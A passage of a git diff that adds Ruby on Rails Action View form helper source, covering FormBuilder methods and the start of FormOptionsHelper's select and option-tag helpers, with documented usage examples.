+ # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+ # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
+ # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
+ # target labels for radio_button tags (where the value is used in the ID of the input tag).
+ #
+ # ==== Examples
+ # label(:post, :title)
+ # # => <label for="post_title">Title</label>
+ #
+ # You can localize your labels based on model and attribute names.
+ # For example you can define the following in your locale (e.g. en.yml)
+ #
+ # helpers:
+ # label:
+ # post:
+ # body: "Write your entire text here"
+ #
+ # Which then will result in
+ #
+ # label(:post, :body)
+ # # => <label for="post_body">Write your entire text here</label>
+ #
+ # Localization can also be based purely on the translation of the attribute-name
+ # (if you are using ActiveRecord):
+ #
+ # activerecord:
+ # attributes:
+ # post:
+ # cost: "Total cost"
+ #
+ # label(:post, :cost)
+ # # => <label for="post_cost">Total cost</label>
+ #
+ # label(:post, :title, "A short title")
+ # # => <label for="post_title">A short title</label>
+ #
+ # label(:post, :title, "A short title", class: "title_label")
+ # # => <label for="post_title" class="title_label">A short title</label>
+ #
+ # label(:post, :privacy, "Public Post", value: "public")
+ # # => <label for="post_privacy_public">Public Post</label>
+ #
+ # label(:post, :terms) do
+ # 'Accept <a href="/terms">Terms</a>.'.html_safe
+ # end
+ def label(method, text = nil, options = {}, &block)
+ @template.label(@object_name, method, text, objectify_options(options), &block)
+ end
+
+ # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+ # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
+ # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+ # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+ #
+ # ==== Gotcha
+ #
+ # The HTML specification says unchecked check boxes are not successful, and
+ # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+ # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+ # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+ # any mass-assignment idiom like
+ #
+ # @invoice.update(params[:invoice])
+ #
+ # wouldn't update the flag.
+ #
+ # To prevent this the helper generates an auxiliary hidden field before
+ # the very check box. The hidden field has the same name and its
+ # attributes mimic an unchecked check box.
+ #
+ # This way, the client either sends only the hidden field (representing
+ # the check box is unchecked), or both fields. Since the HTML specification
+ # says key/value pairs have to be sent in the same order they appear in the
+ # form, and parameters extraction gets the last occurrence of any repeated
+ # key in the query string, that works for ordinary forms.
+ #
+ # Unfortunately that workaround does not work when the check box goes
+ # within an array-like parameter, as in
+ #
+ # <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+ # <%= form.check_box :paid %>
+ # ...
+ # <% end %>
+ #
+ # because parameter name repetition is precisely what Rails seeks to distinguish
+ # the elements of the array. For each item with a checked check box you
+ # get an extra ghost item with only that attribute, assigned to "0".
+ #
+ # In that case it is preferable to either use +check_box_tag+ or to use
+ # hashes instead of arrays.
+ #
+ # # Let's say that @post.validated? is 1:
+ # check_box("post", "validated")
+ # # => <input name="post[validated]" type="hidden" value="0" />
+ # # <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+ #
+ # # Let's say that @puppy.gooddog is "no":
+ # check_box("puppy", "gooddog", {}, "yes", "no")
+ # # => <input name="puppy[gooddog]" type="hidden" value="no" />
+ # # <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+ #
+ # check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
+ # # => <input name="eula[accepted]" type="hidden" value="no" />
+ # # <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+ def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
+ @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
+ end
+
+ # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
+ # radio button will be checked.
+ #
+ # To force the radio button to be checked pass <tt>checked: true</tt> in the
+ # +options+ hash. You may pass HTML options there as well.
+ #
+ # # Let's say that @post.category returns "rails":
+ # radio_button("post", "category", "rails")
+ # radio_button("post", "category", "java")
+ # # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+ # # <input type="radio" id="post_category_java" name="post[category]" value="java" />
+ #
+ # radio_button("user", "receive_newsletter", "yes")
+ # radio_button("user", "receive_newsletter", "no")
+ # # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+ # # <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+ def radio_button(method, tag_value, options = {})
+ @template.radio_button(@object_name, method, tag_value, objectify_options(options))
+ end
+
+ # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # ==== Examples
+ # hidden_field(:signup, :pass_confirm)
+ # # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
+ #
+ # hidden_field(:post, :tag_list)
+ # # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
+ #
+ # hidden_field(:user, :token)
+ # # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+ #
+ def hidden_field(method, options = {})
+ @emitted_hidden_id = true if method == :id
+ @template.hidden_field(@object_name, method, objectify_options(options))
+ end
+
+ # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+ # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+ #
+ # ==== Examples
+ # file_field(:user, :avatar)
+ # # => <input type="file" id="user_avatar" name="user[avatar]" />
+ #
+ # file_field(:post, :image, :multiple => true)
+ # # => <input type="file" id="post_image" name="post[image]" multiple="true" />
+ #
+ # file_field(:post, :attached, accept: 'text/html')
+ # # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+ #
+ # file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
+ # # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+ #
+ # file_field(:attachment, :file, class: 'file_input')
+ # # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+ def file_field(method, options = {})
+ self.multipart = true
+ @template.file_field(@object_name, method, objectify_options(options))
+ end
+
+ # Add the submit button for the given form. When no value is given, it checks
+ # if the object is a new resource or not to create the proper label:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # In the example above, if @post is a new record, it will use "Create Post" as
+ # submit button label, otherwise, it uses "Update Post".
+ #
+ # Those labels can be customized using I18n, under the helpers.submit key and accept
+ # the %{model} as translation interpolation:
+ #
+ # en:
+ # helpers:
+ # submit:
+ # create: "Create a %{model}"
+ # update: "Confirm changes to %{model}"
+ #
+ # It also searches for a key specific for the given object:
+ #
+ # en:
+ # helpers:
+ # submit:
+ # post:
+ # create: "Add %{model}"
+ #
+ def submit(value=nil, options={})
+ value, options = nil, value if value.is_a?(Hash)
+ value ||= submit_default_value
+ @template.submit_tag(value, options)
+ end
+
+ # Add the submit button for the given form. When no value is given, it checks
+ # if the object is a new resource or not to create the proper label:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.button %>
+ # <% end %>
+ #
+ # In the example above, if @post is a new record, it will use "Create Post" as
+ # button label, otherwise, it uses "Update Post".
+ #
+ # Those labels can be customized using I18n, under the helpers.submit key
+ # (the same as submit helper) and accept the %{model} as translation interpolation:
+ #
+ # en:
+ # helpers:
+ # submit:
+ # create: "Create a %{model}"
+ # update: "Confirm changes to %{model}"
+ #
+ # It also searches for a key specific for the given object:
+ #
+ # en:
+ # helpers:
+ # submit:
+ # post:
+ # create: "Add %{model}"
+ #
+ # ==== Examples
+ # button("Create a post")
+ # # => <button name='button' type='submit'>Create post</button>
+ #
+ # button do
+ # content_tag(:strong, 'Ask me!')
+ # end
+ # # => <button name='button' type='submit'>
+ # # <strong>Ask me!</strong>
+ # # </button>
+ #
+ def button(value = nil, options = {}, &block)
+ value, options = nil, value if value.is_a?(Hash)
+ value ||= submit_default_value
+ @template.button_tag(value, options, &block)
+ end
+
+ def emitted_hidden_id?
+ @emitted_hidden_id ||= nil
+ end
+
+ private
+ def objectify_options(options)
+ @default_options.merge(options.merge(object: @object))
+ end
+
+ def submit_default_value
+ object = convert_to_model(@object)
+ key = object ? (object.persisted? ? :update : :create) : :submit
+
+ model = if object.respond_to?(:model_name)
+ object.model_name.human
+ else
+ @object_name.to_s.humanize
+ end
+
+ defaults = []
+ defaults << :"helpers.submit.#{object_name}.#{key}"
+ defaults << :"helpers.submit.#{key}"
+ defaults << "#{key.to_s.humanize} #{model}"
+
+ I18n.t(defaults.shift, model: model, default: defaults)
+ end
+
+ def nested_attributes_association?(association_name)
+ @object.respond_to?("#{association_name}_attributes=")
+ end
+
+ def fields_for_with_nested_attributes(association_name, association, options, block)
+ name = "#{object_name}[#{association_name}_attributes]"
+ association = convert_to_model(association)
+
+ if association.respond_to?(:persisted?)
+ association = [association] if @object.send(association_name).respond_to?(:to_ary)
+ elsif !association.respond_to?(:to_ary)
+ association = @object.send(association_name)
+ end
+
+ if association.respond_to?(:to_ary)
+ explicit_child_index = options[:child_index]
+ output = ActiveSupport::SafeBuffer.new
+ association.each do |child|
+ options[:child_index] = nested_child_index(name) unless explicit_child_index
+ output << fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block)
+ end
+ output
+ elsif association
+ fields_for_nested_model(name, association, options, block)
+ end
+ end
+
+ def fields_for_nested_model(name, object, fields_options, block)
+ object = convert_to_model(object)
+ emit_hidden_id = object.persisted? && fields_options.fetch(:include_id) {
+ options.fetch(:include_id, true)
+ }
+
+ @template.fields_for(name, object, fields_options) do |f|
+ output = @template.capture(f, &block)
+ output.concat f.hidden_field(:id) if output && emit_hidden_id && !f.emitted_hidden_id?
+ output
+ end
+ end
+
+ def nested_child_index(name)
+ @nested_child_index[name] ||= -1
+ @nested_child_index[name] += 1
+ end
+ end
+ end
+
+ ActiveSupport.on_load(:action_view) do
+ cattr_accessor(:default_form_builder, instance_writer: false, instance_reader: false) do
+ ::ActionView::Helpers::FormBuilder
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/form_options_helper.rb b/actionview/lib/action_view/helpers/form_options_helper.rb
new file mode 100644
index 0000000000..bbfbf482a4
--- /dev/null
+++ b/actionview/lib/action_view/helpers/form_options_helper.rb
@@ -0,0 +1,841 @@
+require 'cgi'
+require 'erb'
+require 'action_view/helpers/form_helper'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/array/wrap'
+
+module ActionView
+ # = Action View Form Option Helpers
+ module Helpers
+ # Provides a number of methods for turning different kinds of containers into a set of option tags.
+ #
+ # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
+ #
+ # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
+ #
+ # select("post", "category", Post::CATEGORIES, {include_blank: true})
+ #
+ # could become:
+ #
+ # <select name="post[category]">
+ # <option></option>
+ # <option>joke</option>
+ # <option>poem</option>
+ # </select>
+ #
+ # Another common case is a select tag for a <tt>belongs_to</tt>-associated object.
+ #
+ # Example with <tt>@post.person_id => 2</tt>:
+ #
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
+ #
+ # could become:
+ #
+ # <select name="post[person_id]">
+ # <option value="">None</option>
+ # <option value="1">David</option>
+ # <option value="2" selected="selected">Sam</option>
+ # <option value="3">Tobias</option>
+ # </select>
+ #
+ # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
+ #
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
+ #
+ # could become:
+ #
+ # <select name="post[person_id]">
+ # <option value="">Select Person</option>
+ # <option value="1">David</option>
+ # <option value="2">Sam</option>
+ # <option value="3">Tobias</option>
+ # </select>
+ #
+ # * <tt>:index</tt> - like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
+ # option to be in the +html_options+ parameter.
+ #
+ # select("album[]", "genre", %w[rap rock country], {}, { index: nil })
+ #
+ # becomes:
+ #
+ # <select name="album[][genre]" id="album__genre">
+ # <option value="rap">rap</option>
+ # <option value="rock">rock</option>
+ # <option value="country">country</option>
+ # </select>
+ #
+ # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
+ #
+ # select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
+ #
+ # could become:
+ #
+ # <select name="post[category]">
+ # <option></option>
+ # <option>joke</option>
+ # <option>poem</option>
+ # <option disabled="disabled">restricted</option>
+ # </select>
+ #
+ # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
+ #
+ # collection_select(:post, :category_id, Category.all, :id, :name, {disabled: lambda{|category| category.archived? }})
+ #
+ # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
+ # <select name="post[category_id]">
+ # <option value="1" disabled="disabled">2008 stuff</option>
+ # <option value="2" disabled="disabled">Christmas</option>
+ # <option value="3">Jokes</option>
+ # <option value="4">Poems</option>
+ # </select>
+ #
+ module FormOptionsHelper
+ # ERB::Util can mask some helpers like textilize. Make sure to include them.
+ include TextHelper
+
+ # Create a select tag and a series of contained option tags for the provided object and method.
+ # The option currently held by the object will be selected, provided that the object is available.
+ #
+ # There are two possible formats for the +choices+ parameter, corresponding to other helpers' output:
+ #
+ # * A flat collection (see +options_for_select+).
+ #
+ # * A nested collection (see +grouped_options_for_select+).
+ #
+ # For example:
+ #
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true })
+ #
+ # would become:
+ #
+ # <select name="post[person_id]">
+ # <option value=""></option>
+ # <option value="1" selected="selected">David</option>
+ # <option value="2">Sam</option>
+ # <option value="3">Tobias</option>
+ # </select>
+ #
+ # assuming the associated person has ID 1.
+ #
+ # This can be used to provide a default set of options in the standard way: before rendering the create form, a
+ # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
+ # to the database. Instead, a second model object is created when the create request is received.
+ # This allows the user to submit a form page more than once with the expected results of creating multiple records.
+ # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
+ #
+ # By default, <tt>post.person_id</tt> is the selected option. Specify <tt>selected: value</tt> to use a different selection
+ # or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
+ # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
+ #
+ # A block can be passed to +select+ to customize how the options tags will be rendered. This
+ # is useful when the options tag has complex attributes.
+ #
+ # select(report, "campaign_ids") do
+ # available_campaigns.each do |c|
+ # content_tag(:option, c.name, value: c.id, data: { tags: c.tags.to_json })
+ # end
+ # end
+ #
+ # ==== Gotcha
+ #
+ # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
+ # web browsers do not send any value to server. Unfortunately this introduces a gotcha:
+ # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
+ # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So,
+ # any mass-assignment idiom like
+ #
+ # @user.update(params[:user])
+ #
+ # wouldn't update roles.
+ #
+ # To prevent this the helper generates an auxiliary hidden field before
+ # every multiple select. The hidden field has the same name as multiple select and blank value.
+ #
+ # <b>Note:</b> The client either sends only the hidden field (representing
+ # the deselected multiple select box), or both fields. This means that the resulting array
+ # always contains a blank string.
+ #
+ # In case if you don't want the helper to generate this hidden field you can specify
+ # <tt>include_hidden: false</tt> option.
+ #
+ def select(object, method, choices = nil, options = {}, html_options = {}, &block)
+ Tags::Select.new(object, method, self, choices, options, html_options, &block).render
+ end
+
+ # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
+ # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+ # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+ # or <tt>:include_blank</tt> in the +options+ hash.
+ #
+ # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member
+ # of +collection+. The return values are used as the +value+ attribute and contents of each
+ # <tt><option></tt> tag, respectively. They can also be any object that responds to +call+, such
+ # as a +proc+, that will be called for each member of the +collection+ to
+ # retrieve the value/text.
+ #
+ # Example object structure for use with this method:
+ #
+ # class Post < ActiveRecord::Base
+ # belongs_to :author
+ # end
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :posts
+ # def name_with_initial
+ # "#{first_name.first}. #{last_name}"
+ # end
+ # end
+ #
+ # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+ #
+ # collection_select(:post, :author_id, Author.all, :id, :name_with_initial, prompt: true)
+ #
+ # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+ # <select name="post[author_id]">
+ # <option value="">Please select</option>
+ # <option value="1" selected="selected">D. Heinemeier Hansson</option>
+ # <option value="2">D. Thomas</option>
+ # <option value="3">M. Clark</option>
+ # </select>
+ def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
+ Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render
+ end
+
+ # Returns <tt><select></tt>, <tt><optgroup></tt> and <tt><option></tt> tags for the collection of existing return values of
+ # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+ # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+ # or <tt>:include_blank</tt> in the +options+ hash.
+ #
+ # Parameters:
+ # * +object+ - The instance of the class to be used for the select tag
+ # * +method+ - The attribute of +object+ corresponding to the select tag
+ # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
+ # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+ # array of child objects representing the <tt><option></tt> tags.
+ # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+ # string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+ # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+ # +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+ # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+ # +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+ #
+ # Example object structure for use with this method:
+ #
+ # class Continent < ActiveRecord::Base
+ # has_many :countries
+ # # attribs: id, name
+ # end
+ #
+ # class Country < ActiveRecord::Base
+ # belongs_to :continent
+ # # attribs: id, name, continent_id
+ # end
+ #
+ # class City < ActiveRecord::Base
+ # belongs_to :country
+ # # attribs: id, name, country_id
+ # end
+ #
+ # Sample usage:
+ #
+ # grouped_collection_select(:city, :country_id, @continents, :countries, :name, :id, :name)
+ #
+ # Possible output:
+ #
+ # <select name="city[country_id]">
+ # <optgroup label="Africa">
+ # <option value="1">South Africa</option>
+ # <option value="3">Somalia</option>
+ # </optgroup>
+ # <optgroup label="Europe">
+ # <option value="7" selected="selected">Denmark</option>
+ # <option value="2">Ireland</option>
+ # </optgroup>
+ # </select>
+ #
+ def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+ Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
+ end
+
+ # Returns select and option tags for the given object and method, using
+ # #time_zone_options_for_select to generate the list of option tags.
+ #
+ # In addition to the <tt>:include_blank</tt> option documented above,
+ # this method also supports a <tt>:model</tt> option, which defaults
+ # to ActiveSupport::TimeZone. This may be used by users to specify a
+ # different time zone model object. (See +time_zone_options_for_select+
+ # for more information.)
+ #
+ # You can also supply an array of ActiveSupport::TimeZone objects
+ # as +priority_zones+, so that they will be listed above the rest of the
+ # (long) list. (You can use ActiveSupport::TimeZone.us_zones as a convenience
+ # for obtaining a list of the US time zones, or a Regexp to select the zones
+ # of your choice)
+ #
+ # Finally, this method supports a <tt>:default</tt> option, which selects
+ # a default ActiveSupport::TimeZone if the object's time zone is +nil+.
+ #
+ # time_zone_select( "user", "time_zone", nil, include_blank: true)
+ #
+ # time_zone_select( "user", "time_zone", nil, default: "Pacific Time (US & Canada)" )
+ #
+ # time_zone_select( "user", 'time_zone', ActiveSupport::TimeZone.us_zones, default: "Pacific Time (US & Canada)")
+ #
+ # time_zone_select( "user", 'time_zone', [ ActiveSupport::TimeZone['Alaska'], ActiveSupport::TimeZone['Hawaii'] ])
+ #
+ # time_zone_select( "user", 'time_zone', /Australia/)
+ #
+ # time_zone_select( "user", "time_zone", ActiveSupport::TimeZone.all.sort, model: ActiveSupport::TimeZone)
+ def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
+ Tags::TimeZoneSelect.new(object, method, self, priority_zones, options, html_options).render
+ end
+
+ # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
+ # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
+ # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values
+ # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. +selected+
+ # may also be an array of values to be selected when using a multiple select.
+ #
+ # options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
+ # # => <option value="$">Dollar</option>
+ # # => <option value="DKK">Kroner</option>
+ #
+ # options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+ # # => <option>VISA</option>
+ # # => <option selected="selected">MasterCard</option>
+ #
+ # options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
+ # # => <option value="$20">Basic</option>
+ # # => <option value="$40" selected="selected">Plus</option>
+ #
+ # options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
+ # # => <option selected="selected">VISA</option>
+ # # => <option>MasterCard</option>
+ # # => <option selected="selected">Discover</option>
+ #
+ # You can optionally provide HTML attributes as the last element of the array.
+ #
+ # options_for_select([ "Denmark", ["USA", {class: 'bold'}], "Sweden" ], ["USA", "Sweden"])
+ # # => <option value="Denmark">Denmark</option>
+ # # => <option value="USA" class="bold" selected="selected">USA</option>
+ # # => <option value="Sweden" selected="selected">Sweden</option>
+ #
+ # options_for_select([["Dollar", "$", {class: "bold"}], ["Kroner", "DKK", {onclick: "alert('HI');"}]])
+ # # => <option value="$" class="bold">Dollar</option>
+ # # => <option value="DKK" onclick="alert('HI');">Kroner</option>
+ #
+ # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
+ # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
+ #
+ # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: "Super Platinum")
+ # # => <option value="Free">Free</option>
+ # # => <option value="Basic">Basic</option>
+ # # => <option value="Advanced">Advanced</option>
+ # # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+ #
+ # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: ["Advanced", "Super Platinum"])
+ # # => <option value="Free">Free</option>
+ # # => <option value="Basic">Basic</option>
+ # # => <option value="Advanced" disabled="disabled">Advanced</option>
+ # # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+ #
+ # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], selected: "Free", disabled: "Super Platinum")
+ # # => <option value="Free" selected="selected">Free</option>
+ # # => <option value="Basic">Basic</option>
+ # # => <option value="Advanced">Advanced</option>
+ # # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+ #
+ # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
+ def options_for_select(container, selected = nil)
+ return container if String === container
+
+ selected, disabled = extract_selected_and_disabled(selected).map do |r|
+ Array(r).map(&:to_s)
+ end
+
+ container.map do |element|
+ html_attributes = option_html_attributes(element)
+ text, value = option_text_and_value(element).map(&:to_s)
+
+ html_attributes[:selected] ||= option_value_selected?(value, selected)
+ html_attributes[:disabled] ||= disabled && option_value_selected?(value, disabled)
+ html_attributes[:value] = value
+
+ content_tag_string(:option, text, html_attributes)
+ end.join("\n").html_safe
+ end
+
+ # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning
+ # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
+ #
+ # options_from_collection_for_select(@people, 'id', 'name')
+ # # => <option value="#{person.id}">#{person.name}</option>
+ #
+ # This is more often than not used inside a #select_tag like this example:
+ #
+ # select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
+ #
+ # If +selected+ is specified as a value or array of values, the element(s) returning a match on +value_method+
+ # will be selected option tag(s).
+ #
+ # If +selected+ is specified as a Proc, those members of the collection that return true for the anonymous
+ # function are the selected values.
+ #
+ # +selected+ can also be a hash, specifying both <tt>:selected</tt> and/or <tt>:disabled</tt> values as required.
+ #
+ # Be sure to specify the same class as the +value_method+ when specifying selected or disabled options.
+ # Failure to do this will produce undesired results. Example:
+ # options_from_collection_for_select(@people, 'id', 'name', '1')
+ # Will not select a person with the id of 1 because 1 (an Integer) is not the same as '1' (a string)
+ # options_from_collection_for_select(@people, 'id', 'name', 1)
+ # should produce the desired results.
+ def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+ options = collection.map do |element|
+ [value_for_collection(element, text_method), value_for_collection(element, value_method), option_html_attributes(element)]
+ end
+ selected, disabled = extract_selected_and_disabled(selected)
+ select_deselect = {
+ selected: extract_values_from_collection(collection, value_method, selected),
+ disabled: extract_values_from_collection(collection, value_method, disabled)
+ }
+
+ options_for_select(options, select_deselect)
+ end
+
+ # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
+ # groups them by <tt><optgroup></tt> tags based on the object relationships of the arguments.
+ #
+ # Parameters:
+ # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
+ # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+ # array of child objects representing the <tt><option></tt> tags.
+ # * group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+ # string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+ # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+ # +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+ # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+ # +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+ # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+ # which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
+ # to +option_key_method+. If +nil+, no selection is made. Can also be a hash if disabled values are
+ # to be specified.
+ #
+ # Example object structure for use with this method:
+ #
+ # class Continent < ActiveRecord::Base
+ # has_many :countries
+ # # attribs: id, name
+ # end
+ #
+ # class Country < ActiveRecord::Base
+ # belongs_to :continent
+ # # attribs: id, name, continent_id
+ # end
+ #
+ # Sample usage:
+ # option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+ #
+ # Possible output:
+ # <optgroup label="Africa">
+ # <option value="1">Egypt</option>
+ # <option value="4">Rwanda</option>
+ # ...
+ # </optgroup>
+ # <optgroup label="Asia">
+ # <option value="3" selected="selected">China</option>
+ # <option value="12">India</option>
+ # <option value="5">Japan</option>
+ # ...
+ # </optgroup>
+ #
+ # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+ # wrap the output in an appropriate <tt><select></tt> tag.
+ def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
+ collection.map do |group|
+ option_tags = options_from_collection_for_select(
+ group.send(group_method), option_key_method, option_value_method, selected_key)
+
+ content_tag(:optgroup, option_tags, label: group.send(group_label_method))
+ end.join.html_safe
+ end
+
+ # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
+ # wraps them with <tt><optgroup></tt> tags:
+ #
+ # grouped_options = [
+ # ['North America',
+ # [['United States','US'],'Canada']],
+ # ['Europe',
+ # ['Denmark','Germany','France']]
+ # ]
+ # grouped_options_for_select(grouped_options)
+ #
+ # grouped_options = {
+ # 'North America' => [['United States','US'], 'Canada'],
+ # 'Europe' => ['Denmark','Germany','France']
+ # }
+ # grouped_options_for_select(grouped_options)
+ #
+ # Possible output:
+ # <optgroup label="North America">
+ # <option value="US">United States</option>
+ # <option value="Canada">Canada</option>
+ # </optgroup>
+ # <optgroup label="Europe">
+ # <option value="Denmark">Denmark</option>
+ # <option value="Germany">Germany</option>
+ # <option value="France">France</option>
+ # </optgroup>
+ #
+ # Parameters:
+ # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the
+ # <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
+ # nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
+ # Ex. ["North America",[["United States","US"],["Canada","CA"]]]
+ # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
